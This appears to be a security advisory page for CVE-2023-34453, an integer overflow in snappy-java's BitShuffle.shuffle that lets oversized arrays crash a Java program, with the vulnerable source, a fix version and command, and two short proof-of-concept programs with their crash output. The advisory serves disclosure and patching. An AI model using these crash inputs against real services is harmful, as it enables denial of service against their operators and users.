MediumGHSA-pqr6-cmr2-h8hfCVE-2023-34453

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Published 15 Jun 2023 · Updated 10 Sept 2026

Is your project on an affected org.xerial.snappy:snappy-java?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Java apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

Affected
<1.1.10.1
Fixed in
1.1.10.1
Update to the fixed version for your release line, for example:mvn versions:use-dep-version -Dincludes=org.xerial.snappy:snappy-java -DdepVersion=1.1.10.1 -DforceVersion=true

Details

Summary

Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.

Impact

Denial of Service

Description

The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)

Is GHSA-pqr6-cmr2-h8hf in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected org.xerial.snappy:snappy-java, and gives you the command that fixes it.

More advisories for org.xerial.snappy:snappy-java

  • HighCVE-2026-93451snappy-java: Heap buffer overflow in Snappy.uncompress*Array typed-array methods · 27 Oct 2026
  • MediumCVE-2026-116590snappy-java: JVM crash from unchecked ranges in Snappy.arrayCopy and SnappyOutputStream.rawWrite · 27 Oct 2026
  • HighCVE-2026-108106snappy-java: Unbounded memory allocation from attacker-declared uncompressed lengtha · 27 Oct 2026
  • HighCVE-2023-43642snappy-java's missing upper bound check on chunk length can lead to Denial of Service (DoS) impact · 25 Sept 2023
  • HighCVE-2023-34455snappy-java's unchecked chunk length leads to DoS · 15 Jun 2023
  • MediumCVE-2023-34454snappy-java's Integer Overflow vulnerability in compress leads to DoS · 15 Jun 2023
org.xerial.snappy:snappy-java security overview

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.